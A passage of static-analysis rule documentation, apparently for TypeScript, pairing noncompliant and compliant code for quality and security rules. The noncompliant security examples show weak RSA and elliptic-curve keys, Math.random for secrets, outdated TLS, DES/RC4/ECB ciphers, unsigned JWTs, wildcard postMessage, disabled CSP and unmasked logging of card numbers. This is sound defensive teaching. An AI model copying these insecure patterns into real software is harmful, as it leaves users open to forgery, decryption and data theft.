throw new Error("Status: " + 404);
throw new Error("Invalid negative index.");{code}

See

  • MISRA C++:2008, 15-1-2 - NULL shall not be thrown explicitly.
typescript:S2123

A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug.

Noncompliant Code Example

function pickNumber() {
  let i = 0;
  i = i++; // Noncompliant; i is still zero

  return i++; // Noncompliant; 0 returned
}

Compliant Solution

function pickNumber() {
  let i = 0;
  i++;

  return ++i;
}
typescript:S1154

Doing an operation on a string without using the result of the operation is useless and is certainly due to a misunderstanding.

Noncompliant Code Example

var str = "..."
str.toUpperCase(); // Noncompliant

Compliant Solution

var str = "..."
str = str.toUpperCase();

See

Deprecated

This rule is deprecated; use S2201 instead.

typescript:S5757

Log management is an important topic, especially for the security of a web application, to ensure user activity, including potential attackers, is recorded and available for an analyst to understand what's happened on the web application in case of malicious activities.

Retention of specific logs for a defined period of time is often necessary to comply with regulations such as GDPR, PCI DSS and others. However, to protect user's privacy, certain informations are forbidden or strongly discouraged from being logged, such as user passwords or credit card numbers, which obviously should not be stored or at least not in clear text.

Ask Yourself Whether

In a production environment:

  • The web application uses confidential information and logs a significant amount of data.
  • Logs are externalized to SIEM or Big Data repositories.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Loggers should be configured with a list of confidential, personal information that will be hidden/masked or removed from logs.

Sensitive Code Example

With Signale log management framework the code is sensitive when an empty list of secrets is defined:

const { Signale } = require('signale');

const CREDIT_CARD_NUMBERS = fetchFromWebForm()
// here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance

const options = {
  secrets: []         // empty list of secrets
};

const logger = new Signale(options); // Sensitive

CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) {
  logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER);
});

Compliant Solution

With Signale log management framework it is possible to define a list of secrets that will be hidden in logs:

const { Signale } = require('signale');

const CREDIT_CARD_NUMBERS = fetchFromWebForm()
// here we suppose the credit card numbers are retrieved somewhere and CREDIT_CARD_NUMBERS looks like [1234-5678-0000-9999", "1234-5678-0000-8888"]; for instance

const options = {
  secrets: ["([0-9]{4}-?)+"]
};

const logger = new Signale(options); // Compliant

CREDIT_CARD_NUMBERS.forEach(function(CREDIT_CARD_NUMBER) {
  logger.log('The customer ordered products with the credit card number = %s', CREDIT_CARD_NUMBER);
});

See

typescript:S4426

Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks.

NIST recommendations will be checked for these use-cases:

Digital Signature Generation and Verification:

  • p ≥ 2048 AND q ≥ 224 for DSA (p is key length and q the modulus length)
  • n ≥ 2048 for RSA (n is the key length)

Key Agreement:

  • p ≥ 2048 AND q ≥ 224 for DH and MQV
  • n ≥ 224 for ECDH and ECMQV (Examples: secp192r1 is a non-compliant curve (n < 224) but secp224k1 is compliant (n >= 224))

Symmetric keys:

  • key length ≥ 128 bits

This rule will not raise issues for ciphers that are considered weak (no matter the key size) like DES, Blowfish.

Noncompliant Code Example

crypto built-in module:

var { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
  modulusLength: 1024,  // Noncompliant
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}); // Noncompliant: 1024 bits is too short for a RSA key pair

crypto.generateKeyPair('ec', {
  namedCurve: 'secp112r2',
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}, callback); // Noncompliant: secp112r2 curve doesn't provide enough security

Compliant Solution

crypto built-in module:

crypto.generateKeyPair('rsa', {
  modulusLength: 2048,  // Compliant
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}, callback); // Compliant

crypto.generateKeyPair('ec', {
  namedCurve: 'secp224k1',
  publicKeyEncoding:  { type: 'spki', format: 'pem' },
  privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
}, callback); // compliant

See

typescript:S2245

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

As the Math.random() function relies on a weak pseudorandom number generator, this function should not be used for security-critical applications or for protecting sensitive data. In such context, a cryptographically strong pseudorandom number generator (CSPRNG) should be used instead.

Ask Yourself Whether

  • the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
  • the function you use generates a value which can be predicted (pseudo-random).
  • the generated value is used multiple times.
  • an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use a cryptographically strong pseudorandom number generator (CSPRNG) like crypto.getRandomValues().
  • Use the generated random values only once.
  • You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

const val = Math.random(); // Sensitive
// Check if val is used in a security context.

Compliant Solution

// === Client side ===
const crypto = window.crypto || window.msCrypto;
var array = new Uint32Array(1);
crypto.getRandomValues(array); // Compliant for security-sensitive use cases

// === Server side ===
const crypto = require('crypto');
const buf = crypto.randomBytes(1); // Compliant for security-sensitive use cases

See

typescript:S3579

Associative arrays allow you to store values in an array with either numeric or named indexes. But creating and populating an object is just as easy as an array, and more reliable if you need named members.

Noncompliant Code Example

let arr = [];
arr[0] = 'a';
arr['name'] = 'bob';  // Noncompliant
arr[1] = 'foo';

Compliant Solution

let obj = {
  name: 'bob',
  arr: ['a', 'foo']
};
typescript:S4423

Older versions of SSL/TLS protocol like "SSLv3" have been proven to be insecure.

This rule raises an issue when an SSL/TLS context is created with an insecure protocol version (ie: a protocol different from "TLSv1.2", "TLSv1.3", "DTLSv1.2" or "DTLSv1.3").

Noncompliant Code Example

secureProtocol, minVersion/maxVersion and secureOptions should not be set to use weak TLS protocols (TLSv1.1 and lower):

let options = {
  secureProtocol: 'TLSv1_method' // Noncompliant: TLS1.0 is insecure
};

let options = {
  minVersion: 'TLSv1.1',  // Noncompliant: TLS1.1 is insecure
  maxVersion: 'TLSv1.2'
};

let options = {
  secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1
}; // Noncompliant TLS 1.1 (constants.SSL_OP_NO_TLSv1_1) is not disabled

https built-in module:

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
});  // Noncompliant

tls built-in module:

let socket = tls.connect(443, "www.example.com", options, () => { });  // Noncompliant

request module:

let socket = request.get(options);

Compliant Solution

Set either secureProtocol or secureOptions or minVersion to use secure protocols only (TLSv1.2 and higher):

let options = {
  secureProtocol: 'TLSv1_2_method'
};
// or
let options = {
  secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1
};
// or
let options = {
    minVersion: 'TLSv1.2'
};

https built-in module:

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
});  // Compliant

tls built-in module:

let socket = tls.connect(443, "www.example.com", options, () => { });

request module:

let socket = request.get(options);

See

typescript:S4787

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

  • the private key might not be random, strong enough or the same key is reused for a long long time.
  • the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
  • the key exchange is made without properly authenticating the receiver.
  • the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
  • the chosen encryption library is deemed unsafe.
  • a nonce is used, and the same value is reused multiple times, or the nonce is not random.
  • the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
  • the CBC (Cypher Block Chaining) algorithm is used for encryption, and it's IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
  • the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Generate encryption keys using secure random algorithms.
  • When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
  • Regenerate the keys regularly.
  • Always store the keys in a safe location and transfer them only over safe channels.
  • If there is an exchange of cryptographic keys, check first the identity of the receiver.
  • Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
  • When a nonce is used, generate it randomly every time.
  • When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
  • When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
  • The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
    • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

// === Client side ===
crypto.subtle.encrypt(algo, key, plainData); // Sensitive
crypto.subtle.decrypt(algo, key, encData); // Sensitive
// === Server side ===
const crypto = require("crypto");
const cipher = crypto.createCipher(algo, key); // Sensitive
const cipheriv = crypto.createCipheriv(algo, key, iv); // Sensitive
const decipher = crypto.createDecipher(algo, key); // Sensitive
const decipheriv = crypto.createDecipheriv(algo, key, iv); // Sensitive
const pubEnc = crypto.publicEncrypt(key, buf); // Sensitive
const privDec = crypto.privateDecrypt({ key: key, passphrase: secret }, pubEnc); // Sensitive
const privEnc = crypto.privateEncrypt({ key: key, passphrase: secret }, buf); // Sensitive
const pubDec = crypto.publicDecrypt(key, privEnc); // Sensitive

See

Deprecated

This rule is deprecated; use S4426 instead.

typescript:S3699

If a function does not return anything, it makes no sense to use its output. Specifically, passing it to another function, or assigning its "result" to a variable is probably a bug because such functions return undefined, which is probably not what was intended.

Noncompliant Code Example

function foo() {
  console.log("Hello, World!");
}

a = foo();

Compliant Solution

function foo() {
  console.log("Hello, World!");
}

foo();
typescript:S2392

Variables that are declared inside a block but used outside of it (which is possible with a var-style declaration) should be declared outside the block.

Noncompliant Code Example

function doSomething(a, b) {
  if (a > b) {
    var x = a - b;  // Noncompliant
  }

  if (a > 4) {
    console.log(x);
  }

  for (var i = 0; i < m; i++) { // Noncompliant, both loops use same variable
  }

  for (var i = 0; i < n; i++) {
  }

  return a + b;
}

Compliant Solution

function doSomething(a, b) {
  var x;

  if (a > b) {
    x = a - b;
  }

  if (a > 4) {
    console.log(x);
  }

  for (let i = 0; i < m; i++) {
  }

  for (let i = 0; i < n; i++) {
  }


  return a + b;
}
typescript:S3801

Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain.

In particular a function, in JavaScript, will return undefined in any of the following cases:

  • It exits without a return statement.
  • It executes a return with no value.

This rule verifies that return values are either always or never specified for each path through a function.

Noncompliant Code Example

function foo(a) { // Noncompliant, function exits without "return"
  if (a == 1) {
    return true;
  }
}

Compliant Solution

function foo(a) {
  if (a == 1) {
    return true;
  }
  return false;
}
typescript:S3923

Having all branches in a switch or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a switch/if chain at all.

Noncompliant Code Example

if (b == 0) {  // Noncompliant
  doOneMoreThing();
}
else {
  doOneMoreThing();
}

let a = (b == 0) ? getValue() : getValue();   // Noncompliant

switch (i) {  // Noncompliant
  case 1:
    doSomething();
    break;
  case 2:
    doSomething();
    break;
  case 3:
    doSomething();
    break;
  default:
    doSomething();
}

Exceptions

This rule does not apply to if chains without else-s, or to switch-es without default clauses.

if(b == 0) {    //no issue, this could have been done on purpose to make the code more readable
  doSomething();
} else if(b == 1) {
  doSomething();
}
typescript:S3001

The semantics of the delete operator are a bit tricky, and it can only be reliably used to remove properties from objects. Pass anything else to it, and you may or may not get the desired result.

Noncompliant Code Example

var x  = 1;
delete x;       // Noncompliant

function foo(){
..
}

delete foo;  // Noncompliant

Compliant Solution

var obj = {
  x:1,
  foo: function(){
  ...
  }
};
delete obj.x;
delete obj.foo;

typescript:S1186

There are several reasons for a function not to have a function body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an exception should be thrown in languages where that mechanism is available.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

function foo() {
}

var foo = () => {};

Compliant Solution

function foo() {
    // This is intentional
}

var foo = () => {
    do_something();
};
typescript:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (x != undefined) {
  if (y === 2) {
    // ...
  }
}

Compliant Solution

if (x != undefined && y === 2) {
  // ...
}
typescript:S3003

The use of comparison operators (<, <=, >=, >) with strings is not likely to yield the expected results. Make sure the intention was to compare strings and not numbers.

Noncompliant Code Example

var appleNumber = "123";
var orangeNumber = "45";
if (appleNumber < orangeNumber) {  // Noncompliant, this condition is true
  alert("There are more oranges");
}

Compliant Solution

var appleNumber = "123";
var orangeNumber = "45";
if (Number(appleNumber) < Number(orangeNumber)) {
  alert("There are more oranges");
}
typescript:S5542

To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:

  • For block cipher encryption algorithms (like AES), the GCM (Galois Counter Mode) mode that works internally with zero/no padding scheme, is recommended. At the opposite, these modes and/or schemes are highly discouraged:
    • Electronic Codebook (ECB) mode is vulnerable because it doesn't provide serious message confidentiality: under a given key any given plaintext block always gets encrypted to the same ciphertext block.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is vulnerable to padding oracle attacks.
  • RSA encryption algorithm should be used with the recommended padding scheme (OAEP)

Noncompliant Code Example

crypto built-in module:

crypto.createCipheriv("AES-128-CBC", key, iv); // Noncompliant: CBC with PKCS5/7 (set by default) is vulnerable to oracle padding attacks
crypto.createCipheriv("AES-128-ECB", key, ""); // Noncompliant: ECB doesn't provide serious message confidentiality

Compliant Solution

crypto built-in module:

crypto.createCipheriv("AES-256-GCM", key, iv);

See

typescript:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

typescript:S5547

Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example.

A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community.

More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits.

Noncompliant Code Example

crypto built-in module:

crypto.createCipheriv("DES", key, iv); // Noncompliant: DES / 3DES is unsecure
crypto.createCipheriv("DES-EDE", key, ""); // Noncompliant: DES / 3DES is unsecure
crypto.createCipheriv("DES-EDE3", key, ""); // Noncompliant: DES / 3DES is unsecure
crypto.createCipheriv("RC2", key, iv); // Noncompliant: RC2 is vulnerable to a related-key attack
crypto.createCipheriv("RC4", key, "");// Noncompliant: RC4 is vulnerable to several attacks
crypto.createCipheriv("BF", key, iv);// Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks

Compliant Solution

crypto built-in module:

crypto.createCipheriv("AES-256-GCM", key, iv);

See

typescript:S1862

A chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

 

Note that this rule requires Node.js to be available during analysis.

Noncompliant Code Example

if (param == 1)
  openWindow();
else if (param == 2)
  closeWindow();
else if (param == 1)  // Noncompliant
  moveWindowToTheBackground();

Compliant Solution

if (param == 1)
  openWindow();
else if (param == 2)
  closeWindow();
else if (param == 3)
  moveWindowToTheBackground();

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
typescript:S4335

An intersection type combines multiple types into one. This allows you to add together existing types to get a single type that has all the features you need. However an intersection with a type without members doesn't change the resulting type. In the opposite the usage of any or never as part of an intersection will always results in any or never respectively. This is almost certainly an error.

Noncompliant Code Example

function foo(p: MyType & null) { // Noncompliant
 // ...
}

function bar(p: MyType & any) { // Noncompliant
 // ...
}

Compliant Solution

function foo(p: MyType | null) {
 // ...
}
// or
function foo(p: MyType & AnotherType) {
 // ...
}

function bar(p: any) {
 // ...
}
typescript:S2260

When the JavaScript parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse.

typescript:S2819

Browsers allow message exchanges between Window objects of different origins.

Because any window can send / receive messages from other window it is important to verify the sender's / receiver's identity:

  • When sending message with postMessage method, the identity's receiver should be defined (the wildcard keyword (*) should not be used).
  • When receiving message with message event, the sender's identity should be verified using the origin and possibly source properties.

Noncompliant Code Example

When sending message:

var iframe = document.getElementById("testiframe");
iframe.contentWindow.postMessage("secret", "*"); // Noncompliant: * is used

When receiving message:

window.addEventListener("message", function(event) { // Noncompliant: no checks are done on the origin property.
      console.log(event.data);
 });

Compliant Solution

When sending message:

var iframe = document.getElementById("testsecureiframe");
iframe.contentWindow.postMessage("hello", "https://secure.example.com"); // Compliant

When receiving message:

window.addEventListener("message", function(event) {

  if (event.origin !== "http://example.org") // Compliant
    return;

  console.log(event.data)
});

See

typescript:S1854

A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used.

Noncompliant Code Example

i = a + b; // Noncompliant; calculation result not used before value is overwritten
i = compute();

Compliant Solution

i = a + b;
i += compute();

Exceptions

This rule ignores initializations to -1, 0, 1, null, undefined, [], {}, true, false and "". Variables that start with an underscore (e.g. '_unused') are ignored.

This rule also ignores variables declared with object destructuring using rest syntax (used to exclude some properties from object):

let {a, b, ...rest} = obj; // 'a' and 'b' are ok
doSomething(rest);

let [x1, x2, x3] = arr;    // but 'x1' is noncompliant, as omitting syntax can be used: "let [, x2, x3] = arr;"
doSomething(x2, x3);

See

typescript:S4328

Dependencies should be explicitly listed in the package.json file. Importing a module that is not declared as a dependency makes it an implicit one and is bound to create problems.

typescript:S5659

If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.

  • Don't use none algorithm to sign or verify the validity of a token.
  • Don't use a token without verifying its signature before.

Noncompliant Code Example

jsonwebtoken library:

const jwt = require('jsonwebtoken');

let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'none' }); // Noncompliant: 'none' cipher doesn't sign the JWT (no signature will be included)

jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['RS256', 'none'] }, callbackcheck); // Noncompliant: 'none' cipher should not be used when verifying JWT signature

Compliant Solution

jsonwebtoken library:

const jwt = require('jsonwebtoken');

let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'HS256' }); // Compliant

jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['HS256'] }, callbackcheck); // Compliant

See

typescript:S4322

A common idiom in JavaScript to differentiate between two possible types is to check for the presence in the object of a member of the desired type. Usually, to simplify the code, a boolean function is created to check the type.

Typescript provides user defined type guard functions. These are just functions with a return type of argumentName is SomeType. Such functions return true if the argument is of the specified type. One of the advantages of using such a function is that in a conditional block where the condition is a type guard, the compiler automatically performs the appropriate casts, so explicit casting becomes unnecessary.

This rule raises an issue when a boolean function checking for the type of its only argument can be replaced with a user-defined type guard function.

Noncompliant Code Example

function isSomething(x: BaseType) : boolean { // Noncompliant
  return (<Something>x).foo !== undefined;
}

if (isSomething(v)) {
  (<Something>v).foo();
}

Compliant Solution

function isSomething(x: BaseType) : x is Something {
  return (<Something>x).foo !== undefined;
}

if (isSomething(v)) {
  v.foo();
}

See

TypeScript advanced types

typescript:S3353

Marking a variable that is unchanged after initialization const is an indication to future maintainers that "no this isn't updated, and it's not supposed to be". const should be used in these situations in the interests of code clarity.

Noncompliant Code Example

function seek(input) {
  let target = 32;  // Noncompliant
  for (let i of input) {
    if (i == target) {
      return true;
    }
  }
  return false;
}

function getUrl(query) {    
  let url; // Noncompliant
  url = "http://example.com";
  return url;
}

Compliant Solution

function seek(input) {
  const target = 32;
  for (let i of input) {
    if (i == target) {
      return true;
    }
  }
  return false;
}

function getUrl(query) {  
  const url = "http://example.com";
  return url;
}
typescript:S4323

Union and intersection types are convenient but can make code harder to read and maintain. So if a particular union or intersection is used in multiple places, the use of a type alias is recommended.

Noncompliant Code Example

function foo(x:string|null|number) { // Noncompliant
  // ...
}
function bar(x:string|null|number) {
  // ...
}
function zoo(): string|null|number {
  return null;
}

Compliant Solution

type MyType = string | null | number;

function foo(x: MyType) {
  // ...
}
function bar(x: MyType) {
  // ...
}
function zoo(): MyType {
  return null;
}
typescript:S4326

An async function always wraps the return value in a Promise. Using return await is therefore redundant.

Noncompliant Code Example

async function foo() {
  // ...
}

async function bar() {
  // ...
  return await foo(); // Noncompliant
}

Compliant Solution

async function foo() {
  // ...
}

async function bar() {
  // ...
  return foo();
}
typescript:S4327

Assigning this to a local variable is a way to reference parent context inside inner functions. In TypeScript when using arrow functions this happens automatically.

This rule raises an issue when this is assigned to a local variable.

Noncompliant Code Example

function Foo() {
  let that = this;  // Noncompliant
  that.val = 0;

  setInterval(function() {
    that.val++;
  }, 1000);
}

Compliant Solution

function Foo() {
  this.val = 0;

  setInterval(() => {
    this.val++;
  }, 1000);
}

Exceptions

This rule ignores this used for destructuring.

const { foo, bar } = this;
typescript:S4324

The return type any should be avoided because it prevents the type safety checks normally done by the compiler. When a function returns a primitive type (i.e. number, string or boolean) it is safe to replace any with number, string or boolean type respectively, or remove the return type completely and let compiler infer it.

Noncompliant Code Example

function foo() : any { // Noncompliant
  return 1;
}

Compliant Solution

function foo() {
  return 1;
}
// or
function foo(): number {
  return 1;
}
typescript:S3358

Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing.

Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement.

Noncompliant Code Example

function getReadableStatus(job) {
  return job.isRunning() ? "Running" : job.hasErrors() ? "Failed" : "Succeeded ";  // Noncompliant
}

Compliant Solution

function getReadableStatus(job) {
  if (job.isRunning()) {
    return "Running";
  }
  return job.hasErrors() ? "Failed" : "Succeeded";
}
typescript:S4204

Variables can be declared with or without types. Variables declared without a type will be implicitly typed if the declaration includes an initialization, and compiler type checking will be automatically applied to any typed variable. But if you declare a variable with the any "type" then you've explicitly told the compiler not to do any type checking, which is risky.

Noncompliant Code Example

let a = 42;  // implicitly typed to number
let b: number = 42;  // explicitly typed to number
let c: any = 42;  // Noncompliant

Compliant Solution

let a = 42;
let b: number = 42;
let c: number = 42;
typescript:S4325

The TypeScript compiler automatically casts a variable to the relevant type inside conditionals where it is possible to infer the type (because typeof, instanceof, etc was used). This compiler feature makes casts and not-null assertions unnecessary.

Noncompliant Code Example

function getName(x?: string | UserName) {
  if (x) {
    console.log("Getting name for " + x!); // Noncompliant

    if (typeof x === "string")
      return (x as string); // Noncompliant
    else
      return (x as UserName).name; // Noncompliant
  }
  return "NoName";
}

Compliant Solution

function getName(x?: string | UserName) {
  if (x) {
    console.log("Getting name for " + x);

    if (typeof x === "string")
      return x;
    else
      return x.name;
  }
  return "NoName";
}
typescript:S5728

Content security policy (CSP) (fetch directives) is a W3C standard which is used by a server to specify, via a http header, the origins from where the browser is allowed to load resources. It can help to mitigate the risk of cross site scripting (XSS) attacks and reduce privileges used by an application. If the website doesn't define CSP header the browser will apply same-origin policy by default.

Content-Security-Policy: default-src 'self'; script-src ‘self ‘ http://www.example.com

In the above example, all resources are allowed from the website where this header is set and script resources fetched from example.com are also authorized:

<img src="selfhostedimage.png></script> <!-- will be loaded because default-src 'self'; directive is applied  -->
<img src="http://www.example.com/image.png></script>  <!-- will NOT be loaded because default-src 'self'; directive is applied  -->
<script src="http://www.example.com/library.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.comdirective is applied  -->
<script src="selfhostedscript.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.com directive is applied  -->
<script src="http://www.otherexample.com/library.js></script> <!-- will NOT be loaded because script-src ‘self ‘ http://www.example.comdirective is applied  -->

Ask Yourself Whether

  • The resources of the application are fetched from various untrusted locations.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement content security policy fetch directives, in particular default-src directive and continue to properly sanitize and validate all inputs of the application, indeed CSP fetch directives is only a tool to reduce the impact of cross site scripting attacks.

Sensitive Code Example

In a Express.js application, the code is sensitive if the helmet contentSecurityPolicy middleware is disabled:

const express = require('express');
const helmet = require('helmet');

let app = express();
app.use(
    helmet({
      contentSecurityPolicy: false, // sensitive
    })
);

Compliant Solution

In a Express.js application, a standard way to implement CSP is the helmet contentSecurityPolicy middleware:

const express = require('express');
const helmet = require('helmet');

let app = express();
app.use(helmet.contentSecurityPolicy()); // Compliant

See

typescript:S1128

There's no reason to import modules you don't use; and every reason not to: doing so needlessly increases the load.

Noncompliant Code Example

import A from 'a';      // Noncompliant, A isn't used
import { B1 } from 'b';

console.log(B1);

Compliant Solution

import { B1 } from 'b';

console.log(B1);
typescript:S5725

Fetching external resources, for example from a CDN, without verifying their integrity could impact the security of an application if the CDN gets compromised and resources are replaced by malicious ones. Resources integrity feature will block resources inclusion into an application if the pre-computed digest of the expected resource doesn't match with the digest of the retrieved resource.

Ask Yourself Whether

  • The resources are fetched from external CDNs.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

  • implement resources integrity checks for all static resources (where "static" means that the resource's content doesn't change dynamically based on the browser)
  • use versioned resources instead of using "latest" version of the resources

Sensitive Code Example

let script = document.createElement("script"); // Sensitive
script.src = "https://cdnexample.com/script-latest.js";
script.crossOrigin = "anonymous";
document.head.appendChild(script);

Compliant Solution

let script = document.createElement("script");
script.src = "https://cdnexample.com/script-v1.2.3.js";
script.integrity = "sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"; // Compliant
script.crossOrigin = "anonymous";
document.head.appendChild(script);

See

typescript:S5604

Powerful features are browser features (geolocation, camera, microphone ...) that can be accessed with JavaScript API and may require a permission granted by the user. These features can have a high impact on privacy and user security thus they should only be used if they are really necessary to implement the critical parts of an application.

This rule highlights intrusive permissions when requested with the future standard (but currently experimental) web browser query API and specific APIs related to the permission. It is highly recommended to customize this rule with the permissions considered as intrusive in the context of the web application.

Ask Yourself Whether

  • Some powerful features used by the application are not really necessary.
  • Users are not clearly informed why and when powerful features are used by the application.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In order to respect user privacy it is recommended to avoid using intrusive powerful features.

Sensitive Code Example

When using geolocation API, Firefox for example retrieves personal information like nearby wireless access points and IP address and sends it to the default geolocation service provider, Google Location Services:

navigator.permissions.query({name:"geolocation"}).then(function(result) {
});  // Sensitive: geolocation is a powerful feature with high privacy concerns

navigator.geolocation.getCurrentPosition(function(position) {
  console.log("coordinates x="+position.coords.latitude+" and y="+position.coords.longitude);
}); // Sensitive: geolocation is a powerful feature with high privacy concerns

Compliant Solution

If geolocation is required, always explain to the user why the application needs it and prefer requesting an approximate location when possible:

<html>
<head>
    <title>
        Retailer website example
    </title>
</head>
<body>
    Type a city, street or zip code where you want to retrieve the closest retail locations of our products:
    <form method=post>
        <input type=text value="New York"> <!-- Compliant -->
    </form>
</body>
</html>

See

typescript:S2692

Most checks against an indexOf call against a string or array compare it with -1 because 0 is a valid index. Any checks which look for values >0 ignore the first element, which is likely a bug. If you're merely checking the presence of the string, consider using includes instead. Before using includes method make sure that your browser version is supporting it.

Noncompliant Code Example

var color = "blue";
var name = "ishmael";
var number = 123;

var arr = [color, name];

if (arr.indexOf("blue") > 0) { // Noncompliant
  // ...
}
if (name.indexOf("ish") > 0) { // Noncompliant
  // ...
}

Compliant Solution

var color = "blue";
var name = "ishmael";
var number = 123;

var arr = [color, name];

if (arr.indexOf("blue") >= 0) {
  // ...
}
if (name.includes("ish")) {
  // ...
}

See

typescript:S1121

Assignments within sub-expressions are hard to spot and therefore make the code less readable. Ideally, sub-expressions should not have side-effects.

Noncompliant Code Example

if ((str = cont.substring(pos1, pos2)) != '') { // Noncompliant
  //...
}

Compliant Solution

str = cont.substring(pos1, pos2);
if (str != '') {
  //...
}

See

typescript:S4634

When a Promise needs to only "resolve" or "reject", it's more efficient and readable to use the methods specially created for such use cases: Promise.resolve(value) and Promise.reject(error).

Noncompliant Code Example

let fulfilledPromise = new Promise(resolve => resolve(42));
let rejectedPromise = new Promise(function(resolve, reject) {
  reject('fail');
});

Compliant Solution

let fulfilledPromise = Promise.resolve(42);
let rejectedPromise = Promise.reject('fail');
typescript:S3786

